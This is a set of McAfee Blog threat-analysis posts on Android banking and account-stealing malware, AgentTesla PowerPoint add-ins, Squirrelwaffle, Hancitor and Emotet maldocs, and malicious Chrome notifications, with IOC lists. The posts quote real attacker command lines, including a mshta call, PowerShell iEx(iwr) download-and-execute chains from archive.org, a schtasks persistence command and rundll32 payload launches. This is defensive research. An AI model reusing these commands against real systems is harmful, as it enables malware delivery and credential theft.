The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device: 

Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background 

Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign: 

Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile” 

Interesting string obfuscation technique 

The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value

Figure 12. Calling the de-obfuscation method with different parameters 

Figure 13. String de-obfuscation method 

Figure 14. String de-obfuscation table 

The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string. 

Appendix – Technical Data and IOCs 

Hash		Package name
1e8fba3c530c3cd7d72e208e25fbf704ad7699c0a6728ab1b290c645995ddd56		direct.uujgiq.imobile
7f7b0555563e08e0763fe52f1790c86033dab8004aa540903782957d0116b87f		ferrero.uabxzraglk.imobile
120a51611a02d1d8bd404bb426e07959ef79e808f1a55ce5bff33f04de1784ac		erni.zbvbqlk.imobile
ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef		olayan.bxynrqlq.imobile
da900a00150fcd608a09dab8a8ccdcf33e9efc089269f9e0e6b3daadb9126231		foundation.aznohomqlq.imobile
795425dfc701463f1b55da0fa4e7c9bb714f99fecf7b7cdb6f91303e50d1efc0		fresenius.bowqpd.immobile
b41c9f27c49386e61d87e7fc429b930f5e01038d17ff3840d7a3598292c935d7		cisco.uemoveqlg.immobile
8de8c8c95fecd0b1d7b1f352cbaf839cba1c3b847997c804dfa2d5e3c0c87dfe		komatsu.mjeqls.imobile
ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef		olayan.bxynrqlq.imobile
326d81ba7a715a57ba7aa2398824b420fff84cda85c0dd143462300af4e0a37a		alstom.zjeubopqf.certificate
154cfd0dbb7eb2a4f4e5193849d314fa70dcc3caebfb9ab11b4ee26e98cb08f7		alstom.zjeubopqf.certificate
c59ecd344729dac99d9402609e248c80e10d39c4d4d712edef0df9ee460fbd7b		alstom.zjeubopqf.certificate
16284cad1b5a36e2d2ea9f67f5c772af01b64d785f181fd31d2e2bec2d98ce98		alstom.zjeubopqf.certificate
98fc0d5f914ae47b61bc7b54986295d86b502a9264d7f74739ca452fac65a179		alstom.zjeubopqf.certificate
32724a3d2a3543cc982c7632f40f9e831b16d3f88025348d9eda0d2dfbb75dfe	computer.yvyjmbtlk.transferInstant

 

The post Phishing Android Malware Targets Taxpayers in India appeared first on McAfee Blog.

Authored by Fernando Ruiz

McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico. 

McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants. 

How does this malware spread? 

The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet. 

Here’s how to protect yourself 

During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible. 

Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats: 

• Employ security software on your mobile devices  
• Think twice before downloading and installing suspicious apps especially if they request SMS or Notification listener permissions. 
• Use official app stores however never trust them blindly as malware may be distributed on these stores too so check for permissions, read reviews and seek out developer information if available. 
• Use token based second authentication factor apps (hardware or software) over SMS message authentication 

Interested in the details? Here’s a deep dive on this malware 

Behavior: Carefully guiding the victim to provide their credentials 

Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app: 

– Fake Tool to report fraudulent movements that creates a sense of urgency: 

“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically. 

At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.” 

– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security: 

“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials. 

If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does. 

Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor. 

In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.  

In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data. 

Table Headers: Date, From, Body Message, User, Password, Id: 

This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development. 

IoC 

SHA256: 

• 84df7daec93348f66608d6fe2ce262b7130520846da302240665b3b63b9464f9 
• b946bc9647ccc3e5cfd88ab41887e58dc40850a6907df6bb81d18ef0cb340997 
• 3f773e93991c0a4dd3b8af17f653a62f167ebad218ad962b9a4780cb99b1b7e2 
• 1deedb90ff3756996f14ddf93800cd8c41a927c36ac15fcd186f8952ffd07ee0 

Domains: 

• https[://]appmx2021.com 

The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.

Authored by Anuradha M

McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.  

AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns. 

During Q2, 2021, we have seen an increase in PowerPoint malware. 

In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”. 

PPAM file: 

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.  

Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros. 

Technical Analysis: 

Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file. 

 The PPAM file contains the following files and directories which can be seen upon extraction. 

• _rels\.rels 
• [Content_Types].xml 
• ppt\rels\presentation.xml.rels 

• ppt\asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file 
• ppt\presentation.xml 

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity. 

As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded. 

The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API. 

Below are the parameters passed to CreateProcessA() API: 

kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D, 

Below is the command line parameter of mshta: 

mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis. 

Later mshta.exe spawns powershell.exe as a child process. 

Below is the command line parameters of PowerShell: 

powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB); 

PowerShell downloads and executed script files from the above-mentioned URLs.  

The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”: 

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself. 

Schedule Tasks: 

To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.   

The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%[email protected]/p/27.html” and it’s called every 80 minutes.  

Below is the command line parameters of schtasks: 

schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%[email protected]/p/27.html\“” 

Infection Chain: 

Process Tree: 

Mitigation: 

McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have  DAT coverage for this variant of malware. 

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.  

The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN! 

Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack. 

Expert Rule authored based on the below infection chain: 

POWERPNT.EXE –> mshta.exe  

Expert Rule: 

Rule { 

  Process { 

    Include OBJECT_NAME { -v “powerpnt.exe” } 

  } 

  Target { 

    Match PROCESS { 

       Include OBJECT_NAME { -v “mshta.exe” } 

       Include PROCESS_CMD_LINE { -v “**http**” } 

       Include -access “CREATE” 

    } 

  } 

} 

IOCs 

URLs: 

hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

hxxp:// //1230948%[email protected]/p/27.html 

hxxps://p8hj[.]blogspot[.]com/p/27.html 

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt 

EML files: 

72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3 

0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0 

fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253 

38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb  

PPAM files: 

fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 

6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3 

9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b 

ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd 

c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d 

Extracted AgentTesla files: 

71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99 

90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371 

The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.

Authored by: Wenfeng Yu

McAfee Mobile Research team recently discovered a new piece of malware that specifically steals Google, Facebook, Twitter, Telegram and PUBG game accounts. This malware hides in a game assistant tool called “DesiEsp” which is an assistant tool for PUBG game available on GitHub. Basically, cyber criminals added their own malicious code based on this DesiEsp open-source tool and published it on Telegram. PUBG game users are the main targets of this Android malware in all regions around the world but most infections are reported from the United States, India, and Saudi Arabia. 

What is an ESP hack? 

ESP Hacks, (short for Extra-Sensory Perception) are a type of hack that displays player information such as HP (Health Points), Name, Rank, Gun etc. It is like a permanent tuned-up KDR/HP Vision. ESP Hacks are not a single hack, but a whole category of hacks that function similarly and are often used together to make them more effective. 

How can you be affected by this malware? 

After investigation, it was found that this malware was spread in the channels related to PUBG game on the Telegram platform. Fortunately, this malware has not been found on Google Play. 

Main dropper behavior 

This malware will ask the user to allow superuser permission after running: 

If the user denies superuser request the malware will say that the application may not work: 

When it gains root permission, it will start two malicious actions. First, it will steal accounts by accessing the system account database and application database.  

Second, it will install an additional payload with package name “com.android.google.gsf.policy_sidecar_aps” using the “pm install” command. The payload package will be in the assets folder, and it will disguise the file name as “*.crt” or “*.mph”. 

Stealing social and gaming accounts 

The dropped payload will not display icons and it does not operate directly on the screen of the user’s device. In the apps list of the system settings, it usually disguises the package name as something like “com.google.android.gsf” to make users think it is a system service of Google. It runs in the background in the way of Accessibility Service. Accessibility Service is an auxiliary function provided by the Android system to help people with physical disabilities use mobile apps. It will connect to other apps like a plug-in and can it access the Activity, View, and other resources of the connected app. 

The malware will first try to get root permissions and IMEI (International Mobile Equipment Identity) code that later access the system account database. Of course, even if it does not have root access, it still has other ways to steal account information. Finally, it also will try to activate the device-admin to difficult its removal. 

Methods to steal account information 

The first method to steal account credentials that this malware uses is to monitor the login window and account input box text of the stolen app through the AccessibilityService interface to steal account information. The target apps include Facebook (com.facebook.kakana), Twitter (com.twitter.android), Google (com.google.android.gms) and PUBG MOBILE game (com.tencent.ig) 

The second method is to steal account information (including account number, password, key, and token) by accessing the account database of the system, the user config file, and the database of the monitored app. This part of the malicious code is the same as the parent sample above: 

Finally, the malware will report the stolen account information to the hacker’s server via HTTP.  

Gaming users infected worldwide 

PUBG games are popular all over the world, and users who use PUBG game assistant tools exist in all regions of the world. According to McAfee telemetry data, this malware and its variants affect a wide range of countries including the United States, India, and Saudi Arabia:  

Conclusion 

The online game market is revitalizing as represented by e-sports. We can play games anywhere in various environments such as mobiles, tablets, and PCs (personal computers). Some users will be looking for cheat tools and hacking techniques to play the game in a slightly advantageous way. Cheat tools are inevitably hosted on suspicious websites by their nature, and users looking for cheat tools must step into the suspicious websites. Attackers are also aware of the desires of such users and use these cheat tools to attack them. 

This malware is still constantly producing variants that use several ways to counter the detection of anti-virus software including packing, code obfuscation, and strings encryption, allowing itself to infect more game users. 

McAfee Mobile Security detects this threat as Android/Stealer and protects you from this malware attack. Use security software on your device. Game users should think twice before downloading and installing cheat tools, especially when they request Superuser or accessibility service permissions. 

Indicators of Compromise 

Dropper samples 

36d9e580c02a196e017410a6763f342eea745463cefd6f4f82317aeff2b7e1a5

fac1048fc80e88ff576ee829c2b05ff3420d6435280e0d6839f4e957c3fa3679

d054364014188016cf1fa8d4680f5c531e229c11acac04613769aa4384e2174b

3378e2dbbf3346e547dce4c043ee53dc956a3c07e895452f7e757445968e12ef

7e0ee9fdcad23051f048c0d0b57b661d58b59313f62c568aa472e70f68801417

6b14f00f258487851580e18704b5036e9d773358e75d01932ea9f63eb3d93973

706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548

ff186c0272202954def9989048e1956f6ade88eb76d0dc32a103f00ebfd8538e

706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548

3726dc9b457233f195f6ec677d8bc83531e8bc4a7976c5f7bb9b2cfdf597e86c

e815b1da7052669a7a82f50fabdeaece2b73dd7043e78d9850c0c7e95cc0013d

Payload samples 

8ef54eb7e1e81b7c5d1844f9e4c1ba8baf697c9f17f50bfa5bcc608382d43778

4e08e407c69ee472e9733bf908c438dbdaebc22895b70d33d55c4062fc018e26

6e7c48909b49c872a990b9a3a1d5235d81da7894bd21bc18caf791c3cb571b1c

9099908a1a45640555e70d4088ea95e81d72184bdaf6508266d0a83914cc2f06

ca29a2236370ed9979dc325ea4567a8b97b0ff98f7f56ea2e82a346182dfa3b8

d2985d3e613984b9b1cba038c6852810524d11dddab646a52bf7a0f6444a9845

ef69d1b0a4065a7d2cc050020b349f4ca03d3d365a47be70646fd3b6f9452bf6

06984d4249e3e6b82bfbd7da260251d99e9b5e6d293ecdc32fe47dd1cd840654

Domain 

hosting-b5476[.]gq 

The post Social Network Account Stealers Hidden in Android Gaming Hacking Tool appeared first on McAfee Blog.

Authored By Kiran Raj

Due to their widespread use, Office Documents are commonly used by Malicious actors as a way to distribute their malware. McAfee Labs have observed a new threat “Squirrelwaffle” which is one such emerging malware that was observed using office documents in mid-September that infects systems with CobaltStrike.

In this Blog, we will have a quick look at the SquirrelWaffle malicious doc and understand the Initial infection vector.

Geolocation based stats of Squirrelwaffle malicious doc observed by McAfee from September 2021

 

 

Infection Chain

1. The initial attack vector is a phishing email with a malicious link hosting malicious docs
2. On clicking the URL, a ZIP archived malicious doc is downloaded
3. The malicious doc is weaponized with AutoOpen VBA function. Upon opening the malicious doc, it drops a VBS file containing obfuscated powershell
4. The dropped VBS script is invoked via exe to download malicious DLLs
5. Thedownloaded DLLs are executed via exe with an argument of export function “ldr”

Malicious Doc Analysis

Here is how the face of the document looks when we open the document (figure 3). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

UserForms and VBA

The VBA Userform Label components present in the Word document (Figure-4) is used to store all the content required for the VBS file. In Figure-3, we can see the userform’s Labelbox “t2” has VBS code in its caption.

Sub routine “eFile()” retrieves the LabelBox captions and writes it to a C:\Programdata\Pin.vbs and executes it using cscript.exe

Cmd line: cmd /c cscript.exe C:\Programdata\Pin.vbs

VBS Script Analysis

The dropped VBS Script is obfuscated (Figure-5) and contains 5 URLs that host payloads. The script runs in a loop to download payloads using powershell and writes to C:\Programdata location in the format /www-[1-5].dll/. Once the payloads are downloaded, it is executed using rundll32.exe with export function name as parameter “ldr”

De-obfuscated VBS script

VBS script after de-obfuscating (Figure-6)

MITRE ATT&CK

Different techniques & tactics are used by the malware and we mapped these with the MITRE ATT&CK platform.

• Command and Scripting Interpreter (T-1059)

Malicious doc VBA drops and invokes VBS script.

CMD: cscript.exe C:\ProgramData\pin.vbs

 

• Signed Binary Proxy Execution (T1218)

Rundll32.exe is used to execute the dropped payload

CMD: rundll32.exe C:\ProgramData\www1.dll,ldr

IOC

Type	Value	Scanner	Detection Name
Main Word Document	195eba46828b9dfde47ffecdf61d9672db1a8bf13cd9ff03b71074db458b6cdf	ENS, WSS	W97M/Downloader.dsl
Downloaded DLL	85d0b72fe822fd6c22827b4da1917d2c1f2d9faa838e003e78e533384ea80939	ENS, WSS	RDN/Squirrelwaffle
URLs to download DLL	·       priyacareers.com ·       bussiness-z.ml ·       cablingpoint.com ·       bonus.corporatebusinessmachines.co.in ·       perfectdemos.com	WebAdvisor	Blocked

 

 

The post The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc. appeared first on McAfee Blog.

By Sriram P & Lakshya Mathur 

Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware, and many more. Recently at McAfee Labs, we observed Hancitor Doc VBA (Visual Basic for Applications) samples dropping the payload using the Windows clipboard through Selection.Copy method. 

This blog focuses on the effectiveness of this newly observed technique and how it adds an extra layer of obfuscation to evade detection. 

Below (Figure 1) is the Geolocation based stats of Hancitor Malicious Doc observed by McAfee since September 2021 

INFECTION CHAIN

1. The victim will receive a Docusign-based phishing email.
2. On clicking on the link (hxxp://mettlybothe.com/8/forum[.]php), a Word Document file is downloaded.
3. On Enabling the macro content in Microsoft Word, the macro drops an embedded OLE, a password-protected macro-infected document file and launches it.
4. This second Document file drops the main Hancitor DLL (Dynamic Link Library) payload.
5. The DLL payload is then executed via rundll32.exe.

TECHNICAL ANALYSIS

Malware authors send the victims a phishing email containing a link as shown in the below screenshot (Figure 3). The usual Docusign theme is used in this recent Hancitor wave. This phishing email contains a link to the original malicious word document. On clicking the link, the Malicious Doc file is downloaded.

Since the macros are disabled by default configuration, malware authors try to lure victims into believing that the file is from legitimate organizations or individuals and will ask victims to enable editing and content to start the execution of macros. The screenshot below (Figure 4) is the lure technique that was observed in this current wave.

As soon as the victim enables editing, malicious macros are executed via the Document_Open function.

There is an OLE object embedded in the Doc file. The screenshot below (Figure 5) highlights the object as an icon.

The loader VBA function, invoked by document_open, calls this random function (Figure 6), which moves the selection cursor to the exact location of the OLE object using the selection methods (.MoveDown, .MoveRight, .MoveTypeBackspace). Using the Selection.Copy method, it will copy the selected OLE object to the clipboard. Once it is copied in the clipboard it will be dropped under %temp% folder.

When an embedded object is being copied to the clipboard, it gets written to the temp directory as a file. This method is used by the malware author to drop a malicious word document instead of explicitly writing the file to disk using macro functions like the classic FileSystemObject.

In this case, the file was saved to the %temp% location with filename name “zoro.kl” as shown in the below screenshot (Fig 8). Fig 7 shows the corresponding procmon log involving the file write event.

Using the CreateObject(“Scripting.FileSystemObject”) method, the malware moves the file to a new location \Appdata\Roaming\Microsoft\Templates and renames it to “zoro.doc”.

This file is then opened with the built-in document method, Documents.open. This moved file, zoro.doc, is password-protected. In this case, the password used was “doyouknowthatthegodsofdeathonlyeatapples?”. We have also seen the usage of passwords like “donttouchme”, etc.

This newly dropped doc is executed using the Documents.Open function (Figure 11).

Zoro.doc uses the same techniques to copy and drop the next payload as we saw earlier. The only difference is that it has a DLL as the embedded OLE object.

It drops the file in the %temp% folder using clipboard with the name “gelforr.dap”. Again, it moves gelforr.dap DLL file to \Appdata\Roaming\Microsoft\Templates (Figure 12).

Finally, after moving DLL to the templates folder, it is executed using Rundll32.exe by another VBA call.

MITRE ATT&CK

Technique ID	Tactic	Technique details
T1566.002	Initial Access	Spam mail with links
T1204.001	Execution	User Execution by opening the link.
T1204.002	Execution	Executing downloaded doc
T1218	Defense Evasion	Signed Binary Execution Rundll32
T1071	C&C (Command & Control)	HTTP (Hypertext Transfer Protocol) protocol for communication

 

IOC (Indicators Of Compromise)

Type	SHA-256	Scanner	Detection Name
Main Doc	915ea807cdf10ea4a4912377d7c688a527d0e91c7777d811b171d2960b75c65c	WSS	W97M/Dropper.im
Dropped Doc	c1c89e5eef403532b5330710c9fe1348ebd055d0fe4e3ebbe9821555e36d408e	WSS	W97M/Dropper.im
Dropped DLL	d83fbc9534957dd464cbc7cd2797d3041bd0d1a72b213b1ab7bccaec34359dbb	WSS	RDN/Hancitor
URLs (Uniform Resource Locator)	hxxp://mettlybothe.com/8/forum[.]php	WebAdvisor	Blocked

 

The post HANCITOR DOC drops via CLIPBOARD appeared first on McAfee Blog.

Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format: 185.7.214.7

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Threat Summary

1. The initial attack vector is a phishing email with a Microsoft Excel attachment. 
2. Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
3. The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
4. The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

FORMAT	OBFUSCATED CMD	DEOBFUSCATED CMD
Hexadecimal	cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html	http://185[.]7[.]214[.]7/fer/fer.html
Octal	cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html	http://46[.]105[.]81[.]76/c.html

Execution

On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.

cmd line

(New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’)

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

cmd line

cmd  /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString

IOC

TYPE	VALUE	SCANNER	DETECTION NAME
XLS	06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c	McAfee LiveSafe and Total Protection	X97M/Downloader.nn
DLL	a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3	McAfee LiveSafe and Total Protection	Emotet-FSY
HTML URL	http://185[.]7[.]214[.]7/fer/fer.html http://46[.]105[.]81[.]76/c.html	WebAdvisor	Blocked
DLL URL	http://185[.]7[.]214[.]7/fer/fer.png http://46[.]105[.]81[.]76/cc.png	WebAdvisor	Blocked

MITRE ATT&CK

TECHNIQUE ID	TACTIC	TECHNIQUE DETAILS	DESCRIPTION
T1566	Initial access	Phishing attachment	Initial maldoc uses phishing strings to convince users to open the maldoc
T1204	Execution	User Execution	Manual execution by user
T1071	Command and Control	Standard Application Layer Protocol	Attempts to connect through HTTP
T1059	Command and Scripting Interpreter	Starts CMD.EXE for commands execution	Excel uses cmd and PowerShell to execute command
T1218	Signed Binary Proxy Execution	Uses RUNDLL32.EXE and MSHTA.EXE to load library	rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript

Conclusion

Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.

Authored by Oliver Devane and Vallabh Chole  

Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.  

Where do these notifications come from? 

Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome. 

Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.  

What do they look like? 

The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.  

The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.  

Why are some of them malicious? 

Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below: 

Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.  

The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this: 

Why do malicious actors do this? 

You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits. 

How can I remove notifications? 

